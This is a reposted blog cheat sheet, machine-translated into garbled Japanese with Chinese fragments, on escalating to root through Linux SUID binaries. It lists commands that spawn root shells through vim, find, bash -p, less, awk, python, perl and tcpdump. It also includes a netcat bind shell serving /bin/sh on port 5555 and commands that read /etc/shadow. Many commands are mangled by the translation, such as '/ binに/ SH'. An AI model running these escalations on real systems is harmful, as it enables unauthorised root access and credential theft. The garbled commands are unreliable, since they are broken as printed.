SUID Linuxは、権限昇格の権利に言及します

ノートなどの非オリジナルのこの記事では、ポストクエリ、容易にするために、「黒と白道」のオリジナルマイクロチャネルパブリック数侵害接点が削除された場合に

SUIDとは何ですか?

他のユーザーが所有者/グループの権限にこのプログラムを使用することができ、このプログラムの実施のための人気の理解。

共通コマンドはSUIDの権利を言及するために使用することができます

Vim find Bash More Less  cp


chmod


ash/linux shell



awkの


MVC



  パイソン

 perlの

 

tcpdumpを

 


查找suid文件
検索/ -perm -u = S型、F 2>は/ dev / nullに


各ディレクトリを開始し、検索するファイルシステム(ルート)の頂上から/表現
以下検索する-perm明確な許可
-u = sがrootが所有検索を意味しますファイル
我々は、ファイルの種類を探していることを-type手段
F通常のファイルではなくディレクトリや特殊ファイルを表す
、すなわち標準エラー出力(標準誤差)、プロセスの第二のファイルディスクリプタのための2を
>リダイレクト
を/ dev / null特別ですファイル・システム・オブジェクトは、それがすべての内容を書くためにドロップします。
 

 

Vim
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny 
#を押してESCキー
:設定したシェル= / binに/ SH 
:シェル
 

 find

[検索]コマンドがそうするSUIDの権限で実行されている場合は、すべてのコマンドは、root権限で実行する検索によって実行されます。

 

pentestlab触れ
pentestlab -execにwhoami \見つけます。

 

 Linuxオペレーティングシステムのほとんどは、また、ルートに権限を昇格するために使用することができ、netcatをインストールされています。

pentestlab -execのnetcat -lVP検索5555 -e / binに/ SH \; 
接続は、ルート権限のシェルに直接移動します。
  1. netcatを 192.168.1.189 5555
  2. ID
  3. 猫の/ etc /影
Bash
bashの-p 
はbash-3.2#ID 
UID = 1002(サービス)GID = 1002(サービス)EUID = 0(ルート)基= 1002(サービス)
 

 More

 

より多くの/ home / PELLE / myfileを
!/ binに/ bashの

 

 

Less
以下の/ etc / passwdの
!/ binに/ shを
 

 cp(暂未验证)

 

sudoのshの-c「CP $(これはCP)。chmodコマンド+ S ./cp」

 

 chmod(暂未验证)

 

sudoのshの-c「CP $(これはchmod)。chmodコマンド+ S ./chmod」

 

 ash/linux shell

 

sudoの灰

 

 AWK

AWK '{システム( "/ binに/ bashの")} BEGIN'

 

ミュージックビデオ(一時的例はありません)

 

使用カバーMVは/ etc / shadowのか、/ etc / sudoersファイル

 

  おとこ

 

男のpasswd 
!/ binに/ bashの

 

 パイソン

 

インポートのos 
os.system( "/ binに/ bashの")

 

 perlの

 

execの "/ binに/ bashの";

 

 ルビー/ LUAの/ etc類似してい

 

tcpdumpを

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

 

后续再找到再补充

 

おすすめ

転載: www.cnblogs.com/Qiuzhiyu/p/12528319.html